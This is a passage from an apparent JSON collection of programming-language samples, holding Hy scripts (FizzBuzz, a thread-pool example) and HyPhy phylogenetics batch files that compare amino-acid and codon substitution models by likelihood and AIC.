    "content": "#!/usr/bin/env hy\n(defn fizz [] (print \"Fizz\"))\n(defn buzz [] (print \"Buzz\"))\n(defn fizzbuzz [] (print \"FizzBuzz\"))\n\n(defmain [&rest args] (for [i (range 1 21)]\n                        (cond [(and (= 0 (% i 3)) (= 0 (% i 5))) (fizzbuzz)]\n                              [(= 0 (% i 3)) (fizz)]\n                              [(= 0 (% i 5)) (buzz)]\n                              [True (print i)])))\n"
  },
  {
    "path": "samples/Hy/hello-world.hy",
    "content": ";; The concurrent.futures example in Hy.\n\n(import [concurrent.futures [ThreadPoolExecutor as-completed]]\n        [random [randint]]\n        [sh [sleep]])\n\n(defn task-to-do []\n  (sleep (randint 1 5)))\n\n(with-as (ThreadPoolExecutor 10) executor\n  (setv jobs (list-comp (.submit executor task-to-do) (x (range 0 10))))\n  (for (future (as-completed jobs))\n    (.result future)))\n"
  },
  {
    "path": "samples/HyPhy/AAModelComparison.bf",
    "content": "if (Rows (modelMatrixList) == 0)\n{\n\tmodelMatrixList = \n\t{\n\t{\"Equal Input\", \"EIAA.mdl\", \"19\"}\n\t{\"Dayhoff\",\"Dayhoff.mdl\",\"0\"}\n\t{\"Dayhoff+F\",\"Dayhoff_F.mdl\",\"19\"}\n\t{\"JTT\", \"Jones.mdl\", \"0\"}\n\t{\"JTT+F\", \"Jones_F.mdl\", \"19\"}\n\t{\"WAG\", \"WAG.mdl\", \"0\"}\n\t{\"WAG+F\", \"WAG_F.mdl\", \"19\"}\n\t{\"rtREV\", \"rtREV.mdl\", \"0\"}\n\t{\"rtREV+F\", \"rtREV_F.mdl\", \"19\"}\n\t{\"mtMAM\", \t\t  \"mtMAM.mdl\", \"0\"}\n\t{\"mtMAM+F\", \t  \"mtMAM_F.mdl\", \"19\"}\n\t{\"mtREV 24\",      \"mtREV_24.mdl\", \"0\"}\n\t{\"mtREV 24+F\",    \"mtREV_24_F.mdl\", \"19\"}\n\t{\"HIV within\",    \"HIVwithin.mdl\", \"0\"}\n\t{\"HIV within+F\",  \"HIVwithin+F.mdl\", \"19\"}\n\t{\"HIV between\",   \"HIVbetween.mdl\", \"0\"}\n\t{\"HIV between+F\", \"HIVbetween+F.mdl\", \"19\"}\n\t{\"REV-1 step\", \"reducedREV.mdl\", \"19\"}\n\t{\"REV\",   \"mtREV.mdl\",    \"19\"}\n\t};\n}\n\n/*___________________________________________________________________________________________________________*/\n\nfunction runAModel (modelID, fileName, xtraP, midx)\n{\n\tExecuteCommands (\"#include \\\"TemplateModels/\"+fileName+\"\\\";\"); \n\tTree \t\t\t\t\tgivenTree \t\t\t= treeString;\n\tLikelihoodFunction \t\tlf \t\t\t\t\t= (filteredData,givenTree);\n\t\n\tGetString (lf_info, lf, -1);\n\tlocals = lf_info[\"Local Independent\"];\n\n\tif (Columns (branchLengthStash))\n\t{\n\t\tUSE_LAST_RESULTS = 1;\n\t\tfor (_iv = 0; _iv < Columns (locals); _iv = _iv+1)\n\t\t{\n\t\t\tExecuteCommands (locals[_iv] + \"=1;\\n\");\n\t\t}\n\t\tcurrentBL = BranchLength (givenTree,0);\n\t\tcurrentBN = BranchName\t (givenTree,-1);\n\t\tfor (_iv = 0; _iv < Columns (currentBN); _iv = _iv+1)\n\t\t{\n\t\t\tExecuteCommands (\"givenTree.\"+currentBN[_iv]+\".t=\"+branchLengthStash[_iv]/currentBL+\";\");\n\t\t\t\n\t\t}\n\t}\n\telse\n\t{\n\t\tfor (_iv = 0; _iv < Columns (locals); _iv = _iv+1)\n\t\t{\n\t\t\tExecuteCommands (locals[_iv] + \"=0.1;\\n\");\n\t\t}\n\t\tUSE_LAST_RESULTS = 1;\n\t}\n\n\tOptimize (res,lf);\n\t\n\tfprintf (stdout, \"| \", modelID);\n\tfor (k=0; k<maxModelWidth-Abs(modelID)-1; k=k+1)\n\t{\n\t\tfprintf (stdout, \" \");\n\t}\n\n\tparams = res[1][1]+xtraP;\n\tAIC    =  2(-res[1][0]+params);\n\t\n\tif (filteredData.sites-params>1)\n\t{\n\t\tcAIC   = 2(-res[1][0]+params*(filteredData.sites/(filteredData.sites-params-1)));\n\t}\n\telse\n\t{\n\t\tcAIC = 0;\n\t}\n\t\n\tbranchLengths = BranchLength (givenTree,-1);\n\tTL = 0;\n\tfor (k=Rows(branchLengths)*Columns(branchLengths)-1; k>=0; k=k-1)\t\t\t\t  \n\t{\n\t\tTL = TL + branchLengths[k];\n\t}\n\n\tfprintf (stdout, \"| \", Format (res[1][0],14,3), \" | \", Format (params,5,0), \" | \",\n\t\t\t\t\t\t   Format (AIC, 9,3), \" | \",);\n\t\t\t\t\t\n\tif (cAIC > 0)\n\t{\n\t\t fprintf (stdout, Format (cAIC,11,3), \" | \");\n\t}\n\telse\n\t{\n\t\t fprintf (stdout, \"    N/A     | \");\n\t}\n\t\t   \n\tfprintf (stdout, Format (TL,11,3), \" |\\n\", sepString);\n\t\n\tresultMatrix[midx][0] = res[1][0];\n\tresultMatrix[midx][1] = params;\n\tresultMatrix[midx][2] = AIC;\n\tresultMatrix[midx][3] = cAIC;\n\tresultMatrix[midx][4] = TL;\n\t\n\tif (AIC < bestAIC)\n\t{\n\t\tbestAIC \t= AIC;\n\t\tbestAICidx  = midx;\n\t\tbranchLengthStash = BranchLength (givenTree,-1);\n\t}\n\t\n\tif (cAIC > 0)\n\t{\n\t\tif (bestCAIC > cAIC)\n\t\t{\n\t\t\tbestCAIC = cAIC;\n\t\t\tbestCAICidx = midx;\n\t\t\t\n\t\t}\n\t}\n\t\n\treturn 0;\n}\n\n\n/*___________________________________________________________________________________________________________*/\n\n\n\nmaxModelWidth = 7;\nskipCodeSelectionStep = 0;\n\nChoiceList (doREV, \"Include REV?\", 1, SKIP_NONE, \"Yes\", \"Include REV and reduced REV models. CAUTION: these models take a long time to fit.\",\n\t\t\t\t\t\t\t\t\t\t\t\t \"No\", \"Only use empirical models\");\n\t\t\t\t\t\t\t\t\t\t\t\t \nif (doREV < 0)\n{\n\treturn 0;\n}\n\nif (doREV == 0)\n{\n\t#include \"TemplateModels/chooseGeneticCode.def\";\n\tskipCodeSelectionStep = 1;\n}\n\nmodelCount    = Rows (modelMatrixList) - 2*doREV;\n\nfor (k=0; k<modelCount; k=k+1)\n{\n\tmaxModelWidth = Max(maxModelWidth,Abs (modelMatrixList[k][0])+2);\n}\n\nsepString = \"\";\ncapString = \"\";\nsepString * 256;\nsepString * \"+\";\n\ncapString * 256;\ncapString * \"| Model\";\n\nfor (k=0; k<maxModelWidth; k=k+1)\n{\n\tsepString * \"-\";\n}\n\nfor (k=0; k<maxModelWidth-6; k=k+1)\n{\n\tcapString * \" \";\n}\n\ncapString * \"| Log Likelihood | #prms | AIC Score | c-AIC Score | Tree Length |\\n\";\nsepString * \"+----------------+-------+-----------+-------------+-------------+\\n\";\nsepString * 0;\ncapString * 0;\n\nbranchLengthStash = 0;\n\nSKIP_MODEL_PARAMETER_LIST = 0;\n\n#include \"TemplateModels/modelParameters2.mdl\";\nif (modelType == 1)\n{\n\t#include \"TemplateModels/defineGamma.mdl\";\n}\n\nif (modelType == 2)\n{\n\t#include \"TemplateModels/defineHM.mdl\";\n}\nSKIP_MODEL_PARAMETER_LIST = 1;\n\nSetDialogPrompt (\"Please load an amino-acid data file:\");\n\nDataSet ds = ReadDataFile (PROMPT_FOR_FILE);\nDataSetFilter filteredData = CreateFilter (ds,1);\n\nfprintf (stdout,\"\\nRunning aminoacid model comparisons on \", LAST_FILE_PATH, \"\\n\\nThe alignment has \",ds.species, \" sequences and \", ds.sites, \" sites\\n\");\n\n_DO_TREE_REBALANCE_ = 1;\n\n#include \"queryTree.bf\";\n\nresultMatrix = {modelCount, 5};\n\nfprintf (stdout, \"\\n\",sepString,capString,sepString);\n\nbestAIC \t= 1e100;\nbestCAIC\t= 1e100;\nbestAICidx\t= 0;\nbestCAICidx = -1;\n\nfor (mid=0; mid<modelCount; mid=mid+1)\n{\n\trunAModel (modelMatrixList[mid][0], modelMatrixList[mid][1], 0+modelMatrixList[mid][2], mid);\n}\t\n\nfprintf (stdout, \"\\n\\nBest AIC model:\\n\\t\", modelMatrixList[bestAICidx][0], \" with the score of \", bestAIC);\n\nif (bestCAICidx>=0)\n{\n\tfprintf (stdout, \"\\n\\nBest c-AIC model:\\n\\t\", modelMatrixList[bestCAICidx][0], \" with the score of \", bestCAIC);\n}\n\nlabelMatrix  = {{\"Log-likelihood\",\"Parameters\",\"AIC\",\"c-AIC\",\"Total tree length\",\"\"}};\n\naaString = \"Model\";\n\nfor (fC = 0; fC < modelCount; fC = fC+1)\n{\n\taaString = aaString + \";\" + modelMatrixList[fC][0];\n}\n\nUSE_LAST_RESULTS = 0;\n\nlabelMatrix[5] = aaString;\nskipCodeSelectionStep = 0;\nOpenWindow (CHARTWINDOW,{{\"Model Fits\"}\n\t\t\t\t\t\t   {\"labelMatrix\"},\n\t\t\t\t\t\t   {\"resultMatrix\"},\n\t\t\t\t\t\t   {\"Bar Chart\"},\n\t\t\t\t\t\t   {\"Index\"},\n\t\t\t\t\t\t   {\"c-AIC\"},\n\t\t\t\t\t\t   {\"Model Index\"},\n\t\t\t\t\t\t   {\"\"},\n\t\t\t\t\t\t   {\"AIC\"}\n\t\t\t\t\t\t   },\n\t\t\t\t\t\t   \"SCREEN_WIDTH-60;SCREEN_HEIGHT-60;30;30\");\n"
  },
  {
    "path": "samples/HyPhy/CodonModelCompare.bf",
    "content": "/* \n\tThis file takes a nucleotide data set and a tree (either from the data file or from a separate \tfile) and computes maximum likelihood estimates for every possible 4x4 reversible model on that data and tree.\n\n\t\tWe use the string (v1,v2,v3,v4,v5,v6), where and v1..6 = 0..5\n   to encode a 4x4 symmetric transition matrix with entries\n   [*  v1  v2  v3]\n   [-  *   v4  v5]\n   [-  -   *   v6]\n   [-  -   -   * ]\n   \n   \t\tFor instance: (010010) encodes HKY85.\n   \t\t\n   \t\tFor each model the following information is reported:\n   \t\t- Model string. (e.g. (012345) for the GRM)\n   \t\t- Number of model parameters\n   \t\t- Max ln-likelihood for the model\n   \t\t- Likelihood ratio statistic (as a sub-model of the GRM)\n   \t\t- AIC\n   \t\t- P-Value for the Likelihood Ratio Test.\n   \t\t\n   \n   Sergei L. Kosakovsky Pond, Summer 2002.\n   \n*/ \n\nfunction ReceiveJobs (sendOrNot)\n{\n\tif (MPI_NODE_COUNT>1)\n\t{\n\t\tMPIReceive (-1, fromNode, result_String);\n\t\tjobModelNum = MPINodeState[fromNode-1][1];\n\t\tvv1 = MPINodeState[fromNode-1][2];\n\t\tvv2 = MPINodeState[fromNode-1][3];\n\t\tvv3 = MPINodeState[fromNode-1][4];\n\t\tvv4 = MPINodeState[fromNode-1][5];\n\t\tvv5 = MPINodeState[fromNode-1][6];\n\t\tvv6 = MPINodeState[fromNode-1][7];\n\t\tif (sendOrNot)\n\t\t{\n\t\t\tMPISend (fromNode,lf);\n\t\t\tMPINodeState[fromNode-1][1] = modelNum;\t\t\n\t\t\tMPINodeState[fromNode-1][2] = v1;\n\t\t\tMPINodeState[fromNode-1][3] = v2;\n\t\t\tMPINodeState[fromNode-1][4] = v3;\n\t\t\tMPINodeState[fromNode-1][5] = v4;\n\t\t\tMPINodeState[fromNode-1][6] = v5;\n\t\t\tMPINodeState[fromNode-1][7] = v6;\n\t\t}\n\t\telse\n\t\t{\n\t\t\tMPINodeState[fromNode-1][0] = 0;\n\t\t\tMPINodeState[fromNode-1][1] = -1;\t\t\n\t\t}\n\t\t\n\t\tExecuteCommands (result_String);\n\t}\n\telse\n\t{\n\t\tjobModelNum = modelNum;\n\t}\n\t\n\tif (jobModelNum == 0)\n\t{\n\t\tstdl = lf_MLES[1][0];\n\t\tfullnp = lf_MLES[1][1]+addOn;\n\t\tfprintf(stdout,\"\\n(012345) Full Model ln-lik =  \",stdl,\". Parameter Count=\",Format(fullnp,0,0),\" AIC = \", 2*(fullnp-stdl),\"\\n\\n\");\n\n\n\t\tresultCache [0][0] = 1;\n\t\tresultCache [0][1] = 2;\n\t\tresultCache [0][2] = 3;\n\t\tresultCache [0][3] = 4;\n\t\tresultCache [0][4] = 5;\n\t\tresultCache [0][5] = lf_MLES[1][0];\n\t\tresultCache [0][6] = lf_MLES[1][1]+addOn;\n\t\tresultCache [0][7] = 0;\n\t\tresultCache [0][8] = 0;\n\t\t\n\t\tfprintf (stdout,\"\\n#   |  Model   | # prm |    lnL    |      LRT       |    AIC     |   P-Value        |\");   \n\t\tfprintf (stdout,\"\\n----|----------|-------|-----------|----------------|------------|------------------|\");   \n\n\t\tif (MPI_NODE_COUNT>1)\n\t\t{\n\t\t\tfor (h=1; h<203; h=h+1)\n\t\t\t{\n\t\t\t\tlnL = resultCache[h][5];\n\t\t\t\t\n\t\t\t\tif (lnL<0)\n\t\t\t\t{\n\t\t\t\t\tnp = resultCache[h][6];\n\t\t\t\t\tLRT = -2*(lnL-stdl);\n\t\t\t\t\tif (LRT<0)\n\t\t\t\t\t{\n\t\t\t\t\t\tLRT = 0;\n\t\t\t\t\t}\n\t\t\t\t\tAIC = -2*lnL+2*np;\n\t\t\t\t\tPRINT_DIGITS = 3;\n\t\t\t\t\tfprintf (stdout,\"\\n\",h);\n\t\t\t\t\tPRINT_DIGITS = 1;\n\t\t\t\t\tfprintf (stdout,\" | (\",0, resultCache[h][0], resultCache[h][1], resultCache[h][2], resultCache[h][3], resultCache[h][4],\") | \");\n\t\t\t\t\tfprintf (stdout,Format (np,5,0));\n\t\t\t\t\tPRINT_DIGITS = 8;\n\t\t\t\t\tfprintf (stdout, \" |  \",lnL,\" | \",Format(LRT,14,3), \" |  \", AIC, \"  |  \", );\n\t\t\t\t\t\n\t\t\t\t\tPRINT_DIGITS = 15;\n\t\t\t\t\tif (LRT==0)\n\t\t\t\t\t{\n\t\t\t\t\t\tpValue = 1;\t\t\t\t\t\n\t\t\t\t\t}\n\t\t\t\t\telse\n\t\t\t\t\t{\n\t\t\t\t\t\tpValue = 1-CChi2(LRT,fullnp-np);\n\t\t\t\t\t}\n\t\t\t\t\tfprintf (stdout,pValue,\" |\");\n\t\t\t\t\tresultCache [jobModelNum][7] = pValue;\n\t\t\t\t\tif (pValue<rejectAt)\n\t\t\t\t\t{\n\t\t\t\t\t\trejectCount = rejectCount+1;\n\t\t\t\t\t\tresultCache [jobModelNum][8] = 0;\n\t\t\t\t\t}\n\t\t\t\t\telse\n\t\t\t\t\t{\n\t\t\t\t\t\tresultCache [jobModelNum][8] = 1;\t\t\t\t\t\n\t\t\t\t\t}\n\t\t\t\t\t\n\t\t\t\t\tif (pValue<rejectAt)\n\t\t\t\t\t{\n\t\t\t\t\t\tfprintf (stdout,\"(*)\");\n\t\t\t\t\t}\t\t\t\t\n\t\t\t\t}\n\t\t\t}\n\t\t}\n\t\t\n\t\treturn fromNode-1;\n\t}\n\telse\n\t{\n\t\tif ((MPI_NODE_COUNT>1)&&(resultCache[0][5]>=0))\n\t\t{\n\t\t\tresultCache [jobModelNum][0] = vv2;\n\t\t\tresultCache [jobModelNum][1] = vv3;\n\t\t\tresultCache [jobModelNum][2] = vv4;\n\t\t\tresultCache [jobModelNum][3] = vv5;\n\t\t\tresultCache [jobModelNum][4] = vv6;\n\t\t\tresultCache [jobModelNum][5] = lf_MLES[1][0];\n\t\t\tresultCache [jobModelNum][6] = lf_MLES[1][1]+addOn;\n\t\t\treturn fromNode - 1;\n\t\t}\n\t}\n\n\tnp = lf_MLES[1][1]+addOn;\n\tlnL = lf_MLES[1][0];\n\tLRT = -2*(lnL-stdl);\n\tif (LRT<0)\n\t{\n\t\tLRT = 0;\n\t}\n\tAIC = -2*lnL+2*np;\n\tPRINT_DIGITS = 3;\n\tfprintf (stdout,\"\\n\",jobModelNum);\n\tPRINT_DIGITS = 1;\n\tfprintf (stdout,\" | (\",vv1,vv2,vv3,vv4,vv5,vv6,\") | \");\n\tfprintf (stdout,Format (np,5,0));\n\tPRINT_DIGITS = 8;\n\tfprintf (stdout, \" |  \",lnL,\" | \",Format(LRT,14,3), \" |  \", AIC, \"  |  \", );\n\t\n\t\n\tPRINT_DIGITS = 15;\n\tif (LRT==0)\n\t{\n\t\tpValue = 1;\t\t\t\t\t\n\t}\n\telse\n\t{\n\t\tpValue = 1-CChi2(LRT,fullnp-np);\n\t}\n\tfprintf (stdout,pValue,\" |\");\n\t\n\tresultCache [jobModelNum][0] = vv2;\n\tresultCache [jobModelNum][1] = vv3;\n\tresultCache [jobModelNum][2] = vv4;\n\tresultCache [jobModelNum][3] = vv5;\n\tresultCache [jobModelNum][4] = vv6;\n\tresultCache [jobModelNum][5] = lf_MLES[1][0];\n\tresultCache [jobModelNum][6] = lf_MLES[1][1]+addOn;\n\tresultCache [jobModelNum][7] = pValue;\n\tif (pValue<rejectAt)\n\t{\n\t\trejectCount = rejectCount+1;\n\t\tresultCache [jobModelNum][8] = 0;\n\t}\n\telse\n\t{\n\t\tresultCache [jobModelNum][8] = 1;\t\t\t\t\t\n\t}\n\t\n\tif (pValue<rejectAt)\n\t{\n\t\tfprintf (stdout,\"(*)\");\n\t}\n\t\t\t\n\treturn fromNode-1;\n}\n\nfunction PopulateModelMatrix (ModelMatrixName&, EFV)\n{\n\tif (!ModelMatrixDimension)\n\t{\n\t\tModelMatrixDimension = 64;\n\t\tfor (h = 0 ;h<64; h=h+1)\n\t\t{\n\t\t\tif (_Genetic_Code[h]==10)\n\t\t\t{\n\t\t\t\tModelMatrixDimension = ModelMatrixDimension-1;\n\t\t\t}\n\t\t}\n\t}\n\t\n\tModelMatrixName = {ModelMatrixDimension,ModelMatrixDimension}; \n\n\thshift = 0;\n\n\tif (modelType == 0)\n\t{\n\t\tfor (h=0; h<64; h=h+1)\n\t\t{\n\t\t\tif (_Genetic_Code[h]==10) \n\t\t\t{\n\t\t\t\thshift = hshift+1;\n\t\t\t\tcontinue; \n\t\t\t}\n\t\t\tvshift = hshift;\n\t\t\tfor (v = h+1; v<64; v=v+1)\n\t\t\t{\n\t\t\t\tdiff = v-h;\n\t\t\t\tif (_Genetic_Code[v]==10) \n\t\t\t\t{\n\t\t\t\t\tvshift = vshift+1;\n\t\t\t\t\tcontinue; \n\t\t\t\t}\n\t\t\t\tnucPosInCodon = 2;\n\t\t\t  \tif ((h$4==v$4)||((diff%4==0)&&(h$16==v$16))||(diff%16==0))\n\t\t\t  \t{\n\t\t\t  \t\tif (h$4==v$4)\n\t\t\t  \t\t{\n\t\t\t  \t\t\ttransition = v%4;\n\t\t\t  \t\t\ttransition2= h%4;\n\t\t\t  \t\t}\n\t\t\t  \t\telse\n\t\t\t  \t\t{\n\t\t\t  \t\t\tif(diff%16==0)\n\t\t\t  \t\t\t{\n\t\t\t  \t\t\t\ttransition = v$16;\n\t\t\t  \t\t\t\ttransition2= h$16;\n\t\t\t\t\t\t\tnucPosInCodon = 0;\n\t\t\t  \t\t\t}\n\t\t\t  \t\t\telse\n\t\t\t  \t\t\t{\n\t\t\t  \t\t\t\ttransition = v%16$4;\n\t\t\t  \t\t\t\ttransition2= h%16$4;\n\t\t\t\t\t\t\tnucPosInCodon = 1;\n\t\t\t  \t\t\t}\n\t\t\t  \t\t}\n\t\t\t  \t\t\n\t\t\t  \t\trateType = mSpecMatrix[transition][transition2];\n\t\t\t  \t\t\n\t\t\t  \t\tif (rateType == 1)\n\t\t\t  \t\t{\n\t\t\t\t  \t\tif (_Genetic_Code[0][h]==_Genetic_Code[0][v]) \n\t\t\t\t  \t\t{\n\t\t\t\t  \t\t\tModelMatrixName[h-hshift][v-vshift] := AC*synRate*EFV__[transition__][nucPosInCodon__];\n\t\t\t\t  \t\t\tModelMatrixName[v-vshift][h-hshift] := AC*synRate*EFV__[transition2__][nucPosInCodon__];\n\t\t\t\t\t  \t}\n\t\t\t\t  \t\telse\n\t\t\t\t  \t\t{\n\t\t\t\t\t  \t\tModelMatrixName[h-hshift][v-vshift] := AC*R*synRate*EFV__[transition__][nucPosInCodon__];\n\t\t\t\t  \t\t\tModelMatrixName[v-vshift][h-hshift] := AC*R*synRate*EFV__[transition2__][nucPosInCodon__];\n\t\t\t  \t\t\t}\n\t\t\t  \t\t}\n\t\t\t  \t\telse\n\t\t\t  \t\t{\n\t\t\t\t  \t\tif (rateType == 2)\n\t\t\t\t  \t\t{\n\t\t\t\t\t  \t\tif (_Genetic_Code[0][h]==_Genetic_Code[0][v]) \n\t\t\t\t\t  \t\t{\n\t\t\t\t\t  \t\t\tModelMatrixName[h-hshift][v-vshift] := synRate*EFV__[transition__][nucPosInCodon__];\n\t\t\t\t\t  \t\t\tModelMatrixName[v-vshift][h-hshift] := synRate*EFV__[transition2__][nucPosInCodon__];\n\t\t\t\t\t\t  \t}\n\t\t\t\t\t  \t\telse\n\t\t\t\t\t  \t\t{\n\t\t\t\t\t\t  \t\tModelMatrixName[h-hshift][v-vshift] := R*synRate*EFV__[transition__][nucPosInCodon__];\n\t\t\t\t\t  \t\t\tModelMatrixName[v-vshift][h-hshift] := R*synRate*EFV__[transition2__][nucPosInCodon__];\n\t\t\t\t  \t\t\t}\n\t\t\t\t  \t\t}\n\t\t\t\t  \t\telse\n\t\t\t\t  \t\t{\n\t\t\t\t\t  \t\tif (rateType == 3)\n\t\t\t\t\t  \t\t{\n\t\t\t\t\t\t  \t\tif (_Genetic_Code[0][h]==_Genetic_Code[0][v]) \n\t\t\t\t\t\t  \t\t{\n\t\t\t\t\t\t  \t\t\tModelMatrixName[h-hshift][v-vshift] := AT*synRate*EFV__[transition__][nucPosInCodon__];\n\t\t\t\t\t\t  \t\t\tModelMatrixName[v-vshift][h-hshift] := AT*synRate*EFV__[transition2__][nucPosInCodon__];\n\t\t\t\t\t\t\t  \t}\n\t\t\t\t\t\t  \t\telse\n\t\t\t\t\t\t  \t\t{\n\t\t\t\t\t\t\t  \t\tModelMatrixName[h-hshift][v-vshift] := AT*R*synRate*EFV__[transition__][nucPosInCodon__];\n\t\t\t\t\t\t  \t\t\tModelMatrixName[v-vshift][h-hshift] := AT*R*synRate*EFV__[transition2__][nucPosInCodon__];\n\t\t\t\t\t  \t\t\t}\n\t\t\t\t\t  \t\t}\n\t\t\t\t\t  \t\telse\n\t\t\t\t\t  \t\t{\n\t\t\t\t\t\t  \t\tif (rateType == 4)\n\t\t\t\t\t\t  \t\t{\n\t\t\t\t\t\t\t  \t\tif (_Genetic_Code[0][h]==_Genetic_Code[0][v]) \n\t\t\t\t\t\t\t  \t\t{\n\t\t\t\t\t\t\t  \t\t\tModelMatrixName[h-hshift][v-vshift] := CG*synRate*EFV__[transition__][nucPosInCodon__];\n\t\t\t\t\t\t\t  \t\t\tModelMatrixName[v-vshift][h-hshift] := CG*synRate*EFV__[transition2__][nucPosInCodon__];\n\t\t\t\t\t\t\t\t  \t}\n\t\t\t\t\t\t\t  \t\telse\n\t\t\t\t\t\t\t  \t\t{\n\t\t\t\t\t\t\t\t  \t\tModelMatrixName[h-hshift][v-vshift] := CG*R*synRate*EFV__[transition__][nucPosInCodon__];\n\t\t\t\t\t\t\t  \t\t\tModelMatrixName[v-vshift][h-hshift] := CG*R*synRate*EFV__[transition2__][nucPosInCodon__];\n\t\t\t\t\t\t  \t\t\t}\n\t\t\t\t\t\t  \t\t}\n\t\t\t\t\t\t  \t\telse\n\t\t\t\t\t\t  \t\t{\n\t\t\t\t\t\t\t  \t\tif (rateType == 5)\n\t\t\t\t\t\t\t  \t\t{\n\t\t\t\t\t\t\t\t  \t\tif (_Genetic_Code[0][h]==_Genetic_Code[0][v]) \n\t\t\t\t\t\t\t\t  \t\t{\n\t\t\t\t\t\t\t\t  \t\t\tModelMatrixName[h-hshift][v-vshift] := CT*synRate*EFV__[transition__][nucPosInCodon__];\n\t\t\t\t\t\t\t\t  \t\t\tModelMatrixName[v-vshift][h-hshift] := CT*synRate*EFV__[transition2__][nucPosInCodon__];\n\t\t\t\t\t\t\t\t\t  \t}\n\t\t\t\t\t\t\t\t  \t\telse\n\t\t\t\t\t\t\t\t  \t\t{\n\t\t\t\t\t\t\t\t\t  \t\tModelMatrixName[h-hshift][v-vshift] := CT*R*synRate*EFV__[transition__][nucPosInCodon__];\n\t\t\t\t\t\t\t\t  \t\t\tModelMatrixName[v-vshift][h-hshift] := CT*R*synRate*EFV__[transition2__][nucPosInCodon__];\n\t\t\t\t\t\t\t  \t\t\t}\n\t\t\t\t\t\t\t  \t\t}\n\t\t\t\t\t\t\t  \t\telse\n\t\t\t\t\t\t\t  \t\t{\n\t\t\t\t\t\t\t\t  \t\tif (_Genetic_Code[0][h]==_Genetic_Code[0][v]) \n\t\t\t\t\t\t\t\t  \t\t{\n\t\t\t\t\t\t\t\t  \t\t\tModelMatrixName[h-hshift][v-vshift] := GT*synRate*EFV__[transition__][nucPosInCodon__];\n\t\t\t\t\t\t\t\t  \t\t\tModelMatrixName[v-vshift][h-hshift] := GT*synRate*EFV__[transition2__][nucPosInCodon__];\n\t\t\t\t\t\t\t\t\t  \t}\n\t\t\t\t\t\t\t\t  \t\telse\n\t\t\t\t\t\t\t\t  \t\t{\n\t\t\t\t\t\t\t\t\t  \t\tModelMatrixName[h-hshift][v-vshift] := GT*R*synRate*EFV__[transition__][nucPosInCodon__];\n\t\t\t\t\t\t\t\t  \t\t\tModelMatrixName[v-vshift][h-hshift] := GT*R*synRate*EFV__[transition2__][nucPosInCodon__];\n\t\t\t\t\t\t\t  \t\t\t}\n\t\t\t\t\t\t\t  \t\t}\n\t\t\t\t\t\t\t  \t}\n\t\t\t\t\t\t  \t}\n\t\t\t\t\t  \t}\n\t\t\t\t  \t}\n\t\t\t  \t}\n\t\t\t}\n\t\t}\t\n\t}\n\telse\n\t{\n\t\tfor (h=0; h<64; h=h+1)\n\t\t{\n\t\t\tif (_Genetic_Code[h]==10) \n\t\t\t{\n\t\t\t\thshift = hshift+1;\n\t\t\t\tcontinue; \n\t\t\t}\n\t\t\tvshift = hshift;\n\t\t\tfor (v = h+1; v<64; v=v+1)\n\t\t\t{\n\t\t\t\tdiff = v-h;\n\t\t\t\tif (_Genetic_Code[v]==10) \n\t\t\t\t{\n\t\t\t\t\tvshift = vshift+1;\n\t\t\t\t\tcontinue; \n\t\t\t\t}\n\t\t\t\tnucPosInCodon = 2;\n\t\t\t  \tif ((h$4==v$4)||((diff%4==0)&&(h$16==v$16))||(diff%16==0))\n\t\t\t  \t{\n\t\t\t  \t\tif (h$4==v$4)\n\t\t\t  \t\t{\n\t\t\t  \t\t\ttransition = v%4;\n\t\t\t  \t\t\ttransition2= h%4;\n\t\t\t  \t\t}\n\t\t\t  \t\telse\n\t\t\t  \t\t{\n\t\t\t  \t\t\tif(diff%16==0)\n\t\t\t  \t\t\t{\n\t\t\t  \t\t\t\ttransition = v$16;\n\t\t\t  \t\t\t\ttransition2= h$16;\n\t\t\t\t\t\t\tnucPosInCodon = 0;\n\t\t\t  \t\t\t}\n\t\t\t  \t\t\telse\n\t\t\t  \t\t\t{\n\t\t\t  \t\t\t\ttransition = v%16$4;\n\t\t\t  \t\t\t\ttransition2= h%16$4;\n\t\t\t\t\t\t\tnucPosInCodon = 1;\n\t\t\t  \t\t\t}\n\t\t\t  \t\t}\n\t\t\t  \t\t\n\t\t\t  \t\trateType = mSpecMatrix[transition][transition2];\n\t\t\t  \t\t\n\t\t\t\t\tif (rateType == 1)\n\t\t\t  \t\t{\n\t\t\t\t  \t\tif (_Genetic_Code[0][h]==_Genetic_Code[0][v]) \n\t\t\t\t  \t\t{\n\t\t\t\t  \t\t\tModelMatrixName[h-hshift][v-vshift] := c*AC*synRate*EFV__[transition__][nucPosInCodon__];\n\t\t\t\t  \t\t\tModelMatrixName[v-vshift][h-hshift] := c*AC*synRate*EFV__[transition2__][nucPosInCodon__];\n\t\t\t\t\t  \t}\n\t\t\t\t  \t\telse\n\t\t\t\t  \t\t{\n\t\t\t\t\t  \t\tModelMatrixName[h-hshift][v-vshift] := c*AC*R*synRate*EFV__[transition__][nucPosInCodon__];\n\t\t\t\t  \t\t\tModelMatrixName[v-vshift][h-hshift] := c*AC*R*synRate*EFV__[transition2__][nucPosInCodon__];\n\t\t\t  \t\t\t}\n\t\t\t  \t\t}\n\t\t\t  \t\telse\n\t\t\t  \t\t{\n\t\t\t\t  \t\tif (rateType == 2)\n\t\t\t\t  \t\t{\n\t\t\t\t\t  \t\tif (_Genetic_Code[0][h]==_Genetic_Code[0][v]) \n\t\t\t\t\t  \t\t{\n\t\t\t\t\t  \t\t\tModelMatrixName[h-hshift][v-vshift] := c*synRate*EFV__[transition__][nucPosInCodon__];\n\t\t\t\t\t  \t\t\tModelMatrixName[v-vshift][h-hshift] := c*synRate*EFV__[transition2__][nucPosInCodon__];\n\t\t\t\t\t\t  \t}\n\t\t\t\t\t  \t\telse\n\t\t\t\t\t  \t\t{\n\t\t\t\t\t\t  \t\tModelMatrixName[h-hshift][v-vshift] := c*R*synRate*EFV__[transition__][nucPosInCodon__];\n\t\t\t\t\t  \t\t\tModelMatrixName[v-vshift][h-hshift] := c*R*synRate*EFV__[transition2__][nucPosInCodon__];\n\t\t\t\t  \t\t\t}\n\t\t\t\t  \t\t}\n\t\t\t\t  \t\telse\n\t\t\t\t  \t\t{\n\t\t\t\t\t  \t\tif (rateType == 3)\n\t\t\t\t\t  \t\t{\n\t\t\t\t\t\t  \t\tif (_Genetic_Code[0][h]==_Genetic_Code[0][v]) \n\t\t\t\t\t\t  \t\t{\n\t\t\t\t\t\t  \t\t\tModelMatrixName[h-hshift][v-vshift] := c*AT*synRate*EFV__[transition__][nucPosInCodon__];\n\t\t\t\t\t\t  \t\t\tModelMatrixName[v-vshift][h-hshift] := c*AT*synRate*EFV__[transition2__][nucPosInCodon__];\n\t\t\t\t\t\t\t  \t}\n\t\t\t\t\t\t  \t\telse\n\t\t\t\t\t\t  